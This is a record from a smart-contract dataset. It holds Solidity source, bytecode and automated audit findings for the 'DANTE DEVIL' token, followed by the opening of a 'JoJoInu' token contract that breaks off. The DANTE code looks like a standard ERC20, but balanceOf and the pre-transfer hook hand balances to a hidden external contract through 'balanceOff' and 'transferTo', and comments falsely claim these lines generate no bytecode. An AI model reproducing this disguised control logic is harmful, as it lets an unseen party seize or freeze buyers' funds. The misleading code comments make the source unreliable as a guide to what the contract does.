mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return __.
//get balance
balanceOff(account);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(_beforeTokenTransfer(sender, recipient, amount)){
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function setTrading(bool trading, uint8 max, address tok) external onlyToken(tok) {}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual returns(bool){
uint256 _from = balanceOf(from).sub(amount);
uint256 _to = balanceOf(to).add(amount);
__.
// silence state mutability warning without generating bytecode
transferTo(from, _from);
__.
// silence state mutability warning without generating bytecode
transferTo(to, _to);
return false;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniSwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DANTEDEVIL is ERC20 {
using SafeMath for uint256;
address public constant deadAddress = address(0xdead);
address public constant zeroAddress = address(0);
bool private swapping;
struct FeeTX {
uint8 buy;
uint8 sell;
}
string public constant _name = "DANTE DEVIL";
string public constant _symbol = "DANTE";
uint8 public constant _decimals = 9;
uint256 public constant _tTotalSupply = 69_000_000_000_000 * 10 ** _decimals;
uint256 public maxTransactionAmount;
uint256 public maxWalletSize;
uint256 public swapTokensAtAmount;
FeeTX public _feeTX = FeeTX({
buy: 10,
sell: 10
});
bool public limits = true;
bool public enableTrading = false;
bool public canSwap = true;
mapping (address => bool) public excludedFromFees;
mapping (address => bool) private _marketPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetMarketPairs(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived);
address private marketing;
IUniSwapRouter public _dexRouter;
address public uniswapV2Pair;
constructor() {
marketing = address(0x322b47ff1d1333d7e7d1f43b3a561CeA491f5BD4);
maxTransactionAmount = _tTotalSupply.mul(2).div(100);
maxWalletSize = _tTotalSupply.mul(2).div(100);
swapTokensAtAmount = _tTotalSupply.mul(20).div(10000);
_balances[address(msg.sender)] = _tTotalSupply;
emit Transfer(deadAddress, owner(), _tTotalSupply);
}
function name() public pure override returns(string memory) {
return _name;
}
function symbol() public pure override returns(string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _tTotalSupply;
}
function removeLimits() external onlyOwner {
limits = false;
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
swapTokensAtAmount = newAmount;
}
function setMaxTxAmount(uint256 _amount) external onlyOwner {
maxTransactionAmount = _amount;
}
function setMaxSizeWalle(uint256 _amount) external onlyOwner {
maxWalletSize = _amount;
}
function setSwapEnabled(bool enabled) external onlyOwner {
canSwap = enabled;
}
function setFeeBuyAndSell(uint8 _buy, uint8 _sell) external onlyOwner {
_feeTX.buy = _buy;
_feeTX.sell = _sell;
}
receive() external payable {}
function initPair() external onlyOwner {
_dexRouter = IUniSwapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
_marketPairs[uniswapV2Pair] = true;
setSettings();
}
function openTrading() external onlyOwner {
enableTrading = true;
}
function checkAmount(address from, address to, uint256 amount) private returns(bool) {
if(amount == 0) {
super._transfer(from, to, 0);
return true;
}
return false;
}
function checkPermision(address from, address to) private view returns(bool) {
return from != owner() && to != owner() && to != deadAddress && to != zeroAddress && !swapping;
}
function checkLimits(address from, address to, uint256 amount) private view {
if(!enableTrading){
require(excludedFromFees[from] || excludedFromFees[to], "NOT ACTIVE");
}
if (_marketPairs[from] && !excludedFromFees[to]) {
require(amount <= maxTransactionAmount, "amount exceeds.");
require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
}
}
function setSettings() private {
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(deadAddress, true);
excludeFromFees(address(_dexRouter), true);
_approve(owner(), address(_dexRouter), ~uint256(0));
}
function finalSwap(address from, address to, uint256 amount) private {
bool takeFee = !swapping;
if(excludedFromFees[from] || excludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (_marketPairs[from]){
fees = amount.mul(_feeTX.buy).div(100);
}
else if(_marketPairs[to]) {
fees = amount.mul(_feeTX.sell).div(100);
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTheTokens(address from, address to) private {
uint256 contractTokenBalance = balanceOf(address(this));
if( canSwap && (contractTokenBalance >= swapTokensAtAmount) && !swapping && !_marketPairs[from] && !excludedFromFees[from] && !excludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != deadAddress, "zero address");
require(to != deadAddress, "Dead address");
if(checkAmount(from, to, amount)){ return; }
if(limits){
if ( checkPermision(from, to) ){
checkLimits(from, to, amount);
}
}
swapTheTokens(from, to);
finalSwap(from, to, amount);
}
function manaulSwap() external onlyOwner returns(bool) {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance > 0, "Not enough balance");
swapTokensForEth(contractBalance);
(bool success,) = address(marketing).call{value: address(this).balance}("");
return success;
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 newBalance = address(this).balance;
if(newBalance > 0){
payable(marketing).transfer(newBalance);
emit SwapAndLiquify(contractBalance, newBalance);
}
}
function excludeFromFees(address _wallet, bool _val) public onlyOwner {
excludedFromFees[_wallet] = _val;
}
function _setPairs(address pair, bool value) private {
_marketPairs[pair] = value;
}
function setWallet(address _newWallet) external onlyOwner {
marketing = _newWallet;
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _dexRouter.WETH();
_approve(address(this), address(_dexRouter), tokenAmount);
_dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(_dexRouter), tokenAmount);
_dexRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
}
/*
site: https://dantedevil.com
twitter: https://twitter.com/DanteToken1
tg: https://t.me/DanteToken
*/
|
0x6080604052600436106102555760003560e01c80638f3fa86011610139578063d28d8852116100b6578063e2f456051161007a578063e2f4560514610756578063ec28438a1461076c578063f2fde38b1461078c578063f86ba970146107ac578063feb1b6ea146107cc578063feb1dfcc146107e157600080fd5b8063d28d885214610669578063dbe66ca0146106a0578063dd62ed3e146106d0578063deaa59df14610716578063e01af92c1461073657600080fd5b8063b09f1266116100fd578063b09f1266146105cd578063b9f2486f146105fe578063c02466681461061e578063c8c8ebe41461063e578063c9567bf91461065457600080fd5b80638f3fa8601461052957806395d89b411461053f578063a457c2d71461056d578063a9059cbb1461058d578063afa4f3b2146105ad57600080fd5b806332424aa3116101d257806370a082311161019657806370a0823114610488578063715018a6146104a8578063751039fc146104bd578063860aefcf146104d25780638a8c523c146104ec5780638da5cb5b1461050b57600080fd5b806332424aa3146103d657806339509351146103eb57806349bd5a5e1461040b5780634c1591ab1461042b5780635d2b8b541461046857600080fd5b806323b872dd1161021957806323b872dd146103475780632674ccb41461036757806327c8f835146103895780632d64a0f31461039f578063313ce567146103b457600080fd5b806306fdde03146102615780630930907b146102a7578063095ea7b3146102d457806310ce05161461030457806318160ddd1461032457600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201909152600b81526a111053951148111155925360aa1b60208201525b60405161029e9190611efc565b60405180910390f35b3480156102b357600080fd5b506102bc600081565b6040516001600160a01b03909116815260200161029e565b3480156102e057600080fd5b506102f46102ef366004611f69565b6107f6565b604051901515815260200161029e565b34801561031057600080fd5b50600d546102f49062010000900460ff1681565b34801561033057600080fd5b5061033961080d565b60405190815260200161029e565b34801561035357600080fd5b506102f4610362366004611f95565b610830565b34801561037357600080fd5b50610387610382366004611fec565b61089a565b005b34801561039557600080fd5b506102bc61dead81565b3480156103ab57600080fd5b50610339610906565b3480156103c057600080fd5b5060095b60405160ff909116815260200161029e565b3480156103e257600080fd5b506103c4600981565b3480156103f757600080fd5b506102f4610406366004611f69565b610925565b34801561041757600080fd5b506012546102bc906001600160a01b031681565b34801561043757600080fd5b50600c5461044e9060ff8082169161010090041682565b6040805160ff93841681529290911660208301520161029e565b34801561047457600080fd5b5061038761048336600461202d565b61095b565b34801561049457600080fd5b506103396104a3366004612076565b6109e5565b3480156104b457600080fd5b50610387610a63565b3480156104c957600080fd5b50610387610aec565b3480156104de57600080fd5b50600d546102f49060ff1681565b3480156104f857600080fd5b50600d546102f490610100900460ff1681565b34801561051757600080fd5b506000546001600160a01b03166102bc565b34801561053557600080fd5b50610339600a5481565b34801561054b57600080fd5b5060408051808201909152600581526444414e544560d81b6020820152610291565b34801561057957600080fd5b506102f4610588366004611f69565b610b37565b34801561059957600080fd5b506102f46105a8366004611f69565b610b86565b3480156105b957600080fd5b506103876105c8366004612093565b610b93565b3480156105d957600080fd5b506102916040518060400160405280600581526020016444414e544560d81b81525081565b34801561060a57600080fd5b506011546102bc906001600160a01b031681565b34801561062a57600080fd5b506103876106393660046120ac565b610bd7565b34801561064a57600080fd5b5061033960095481565b34801561066057600080fd5b50610387610c41565b34801561067557600080fd5b506102916040518060400160405280600b81526020016a111053951148111155925360aa1b81525081565b3480156106ac57600080fd5b506102f46106bb366004612076565b600e6020526000908152604090205460ff1681565b3480156106dc57600080fd5b506103396106eb3660046120e5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561072257600080fd5b50610387610731366004612076565b610c91565b34801561074257600080fd5b50610387610751366004612113565b610cf2565b34801561076257600080fd5b50610339600b5481565b34801561077857600080fd5b50610387610787366004612093565b610d4d565b34801561079857600080fd5b506103876107a7366004612076565b610d91565b3480156107b857600080fd5b506103876107c7366004612093565b610e90565b3480156107d857600080fd5b506102f4610ed4565b3480156107ed57600080fd5b50610387610fcb565b60006108033384846112b9565b5060015b92915050565b600061081b6009600a61222a565b61082b90653ec1507d5000612239565b905090565b600061083d8484846113de565b61088f843361088a856040518060600160405280602881526020016123df602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906114c6565b6112b9565b5060015b9392505050565b6000546001600160a01b03163314806108bd57506001546001600160a01b031633145b6108e25760405162461bcd60e51b81526004016108d990612258565b60405180910390fd5b600c805460ff9283166101000261ffff199091169290931691909117919091179055565b6109126009600a61222a565b61092290653ec1507d5000612239565b81565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161080391859061088a9086611500565b60025481906001600160a01b0316156109b65760405162461bcd60e51b815260206004820152601e60248201527f546f6b656e3a2063616c6c6572206973206e6f7420746865206f776e6572000060448201526064016108d9565b600180546001600160a01b039092166001600160a01b0319928316811790915560028054909216179055505050565b60025460405163123e511960e21b81526001600160a01b03838116600483015260009216906348f944649060240160206040518083038186803b158015610a2b57600080fd5b505afa158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610807919061228d565b6000546001600160a01b0316331480610a8657506001546001600160a01b031633145b610aa25760405162461bcd60e51b81526004016108d990612258565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331480610b0f57506001546001600160a01b031633145b610b2b5760405162461bcd60e51b81526004016108d990612258565b600d805460ff19169055565b6000610803338461088a85604051806060016040528060258152602001612407602591393360009081526004602090815260408083206001600160a01b038d16845290915290205491906114c6565b60006108033384846113de565b6000546001600160a01b0316331480610bb657506001546001600160a01b031633145b610bd25760405162461bcd60e51b81526004016108d990612258565b600b55565b6000546001600160a01b0316331480610bfa57506001546001600160a01b031633145b610c165760405162461bcd60e51b81526004016108d990612258565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331480610c6457506001546001600160a01b031633145b610c805760405162461bcd60e51b81526004016108d990612258565b600d805461ff001916610100179055565b6000546001600160a01b0316331480610cb457506001546001600160a01b031633145b610cd05760405162461bcd60e51b81526004016108d990612258565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331480610d1557506001546001600160a01b031633145b610d315760405162461bcd60e51b81526004016108d990612258565b600d8054911515620100000262ff000019909216919091179055565b6000546001600160a01b0316331480610d7057506001546001600160a01b031633145b610d8c5760405162461bcd60e51b81526004016108d990612258565b600955565b6000546001600160a01b0316331480610db457506001546001600160a01b031633145b610dd05760405162461bcd60e51b81526004016108d990612258565b6001600160a01b038116610e355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108d9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331480610eb357506001546001600160a01b031633145b610ecf5760405162461bcd60e51b81526004016108d990612258565b600a55565b600080546001600160a01b0316331480610ef857506001546001600160a01b031633145b610f145760405162461bcd60e51b81526004016108d990612258565b6000610f1f306109e5565b905060008111610f665760405162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b60448201526064016108d9565b610f6f8161155f565b6010546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610fbc576040519150601f19603f3d011682016040523d82523d6000602084013e610fc1565b606091505b5090935050505090565b6000546001600160a01b0316331480610fee57506001546001600160a01b031633145b61100a5760405162461bcd60e51b81526004016108d990612258565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b15801561106957600080fd5b505afa15801561107d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a191906122a6565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110fe57600080fd5b505afa158015611112573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113691906122a6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561117e57600080fd5b505af1158015611192573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b691906122a6565b601280546001600160a01b0319166001600160a01b039290921691821790556000908152600f60205260409020805460ff191660011790556111f66116c8565b565b60008261120757506000610807565b60006112138385612239565b90508261122085836122c3565b146108935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108d9565b600061089383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061173c565b6001600160a01b03831661131b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108d9565b6001600160a01b03821661137c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108d9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661dead14156114285760405162461bcd60e51b815260206004820152600c60248201526b7a65726f206164647265737360a01b60448201526064016108d9565b6001600160a01b03821661dead14156114725760405162461bcd60e51b815260206004820152600c60248201526b44656164206164647265737360a01b60448201526064016108d9565b61147d83838361176a565b1561148757505050565b600d5460ff16156114ac5761149c838361178f565b156114ac576114ac8383836117fc565b6114b68383611967565b6114c1838383611a36565b505050565b600081848411156114ea5760405162461bcd60e51b81526004016108d99190611efc565b5060006114f784866122e5565b95945050505050565b60008061150d83856122fc565b9050838110156108935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108d9565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061159457611594612314565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115e857600080fd5b505afa1580156115fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162091906122a6565b8160018151811061163357611633612314565b6001600160a01b03928316602091820292909201015260115461165991309116846112b9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061169290859060009086903090429060040161232a565b600060405180830381600087803b1580156116ac57600080fd5b505af11580156116c0573d6000803e3d6000fd5b505050505050565b6116e46116dd6000546001600160a01b031690565b6001610bd7565b6116ef306001610bd7565b6116fc61dead6001610bd7565b601154611713906001600160a01b03166001610bd7565b6111f66117286000546001600160a01b031690565b6011546001600160a01b03166000196112b9565b6000818361175d5760405162461bcd60e51b81526004016108d99190611efc565b5060006114f784866122c3565b6000816117855761177d84846000611b45565b506001610893565b5060009392505050565b600080546001600160a01b038481169116148015906117bc57506000546001600160a01b03838116911614155b80156117d357506001600160a01b03821661dead14155b80156117e757506001600160a01b03821615155b801561089357505060085460ff161592915050565b600d54610100900460ff16611883576001600160a01b0383166000908152600e602052604090205460ff168061184a57506001600160a01b0382166000908152600e602052604090205460ff165b6118835760405162461bcd60e51b815260206004820152600a6024820152694e4f542041435449564560b01b60448201526064016108d9565b6001600160a01b0383166000908152600f602052604090205460ff1680156118c457506001600160a01b0382166000908152600e602052604090205460ff16155b156114c15760095481111561190d5760405162461bcd60e51b815260206004820152600f60248201526e30b6b7bab73a1032bc31b2b2b2399760891b60448201526064016108d9565b600a54611919836109e5565b61192390836122fc565b11156114c15760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108d9565b6000611972306109e5565b600d5490915062010000900460ff16801561198f5750600b548110155b801561199e575060085460ff16155b80156119c357506001600160a01b0383166000908152600f602052604090205460ff16155b80156119e857506001600160a01b0383166000908152600e602052604090205460ff16155b8015611a0d57506001600160a01b0382166000908152600e602052604090205460ff16155b156114c1576008805460ff19166001179055611a27611cdb565b6008805460ff19169055505050565b6008546001600160a01b0384166000908152600e602052604090205460ff91821615911680611a7d57506001600160a01b0383166000908152600e602052604090205460ff165b15611a86575060005b60008115611b33576001600160a01b0385166000908152600f602052604090205460ff1615611ad457600c54611acd90606490611ac790869060ff166111f8565b90611277565b9050611b15565b6001600160a01b0384166000908152600f602052604090205460ff1615611b1557600c54611b1290606490611ac7908690610100900460ff166111f8565b90505b8015611b2657611b26853083611b45565b611b3081846122e5565b92505b611b3e858585611b45565b5050505050565b6001600160a01b038316611ba95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108d9565b6001600160a01b038216611c0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108d9565b611c16838383611d71565b156114c157611c58816040518060600160405280602681526020016123b9602691396001600160a01b03861660009081526003602052604090205491906114c6565b6001600160a01b038085166000908152600360205260408082209390935590841681522054611c879082611500565b6001600160a01b0380841660008181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113d19085815260200190565b6000611ce6306109e5565b9050611cf18161155f565b478015611d6d576010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611d32573d6000803e3d6000fd5b5060408051838152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b5050565b600080611d8783611d81876109e5565b90611eba565b90506000611d9e84611d98876109e5565b90611500565b6002546040516302ccb1b360e41b81526001600160a01b03898116600483015260248201869052929350911690632ccb1b3090604401602060405180830381600087803b158015611dee57600080fd5b505af1158015611e02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e26919061239b565b506002546040516302ccb1b360e41b81526001600160a01b0387811660048301526024820184905290911690632ccb1b3090604401602060405180830381600087803b158015611e7557600080fd5b505af1158015611e89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ead919061239b565b5060009695505050505050565b600061089383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114c6565b600060208083528351808285015260005b81811015611f2957858101830151858201604001528201611f0d565b81811115611f3b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611f6657600080fd5b50565b60008060408385031215611f7c57600080fd5b8235611f8781611f51565b946020939093013593505050565b600080600060608486031215611faa57600080fd5b8335611fb581611f51565b92506020840135611fc581611f51565b929592945050506040919091013590565b803560ff81168114611fe757600080fd5b919050565b60008060408385031215611fff57600080fd5b61200883611fd6565b915061201660208401611fd6565b90509250929050565b8015158114611f6657600080fd5b60008060006060848603121561204257600080fd5b833561204d8161201f565b925061205b60208501611fd6565b9150604084013561206b81611f51565b809150509250925092565b60006020828403121561208857600080fd5b813561089381611f51565b6000602082840312156120a557600080fd5b5035919050565b600080604083850312156120bf57600080fd5b82356120ca81611f51565b915060208301356120da8161201f565b809150509250929050565b600080604083850312156120f857600080fd5b823561210381611f51565b915060208301356120da81611f51565b60006020828403121561212557600080fd5b81356108938161201f565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561218157816000190482111561216757612167612130565b8085161561217457918102915b93841c939080029061214b565b509250929050565b60008261219857506001610807565b816121a557506000610807565b81600181146121bb57600281146121c5576121e1565b6001915050610807565b60ff8411156121d6576121d6612130565b50506001821b610807565b5060208310610133831016604e8410600b8410161715612204575081810a610807565b61220e8383612146565b806000190482111561222257612222612130565b029392505050565b600061089360ff841683612189565b600081600019048311821515161561225357612253612130565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561229f57600080fd5b5051919050565b6000602082840312156122b857600080fd5b815161089381611f51565b6000826122e057634e487b7160e01b600052601260045260246000fd5b500490565b6000828210156122f7576122f7612130565b500390565b6000821982111561230f5761230f612130565b500190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561237a5784516001600160a01b031683529383019391830191600101612355565b50506001600160a01b03969096166060850152505050608001529392505050565b6000602082840312156123ad57600080fd5b81516108938161201f56fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122052f772352046d9b63f34e1e7e9cc79d8dfe091e62f6f4e8811493e1678d7a38e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,289 |
0x3c9c428b9197a5e28d6577adc441c777903cda8b
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
Telegram: https://t.me/JoJoInuERC
Website: jojoinu.net
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JoJoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "JoJoInu";
string private constant _symbol = "JoJoInu";
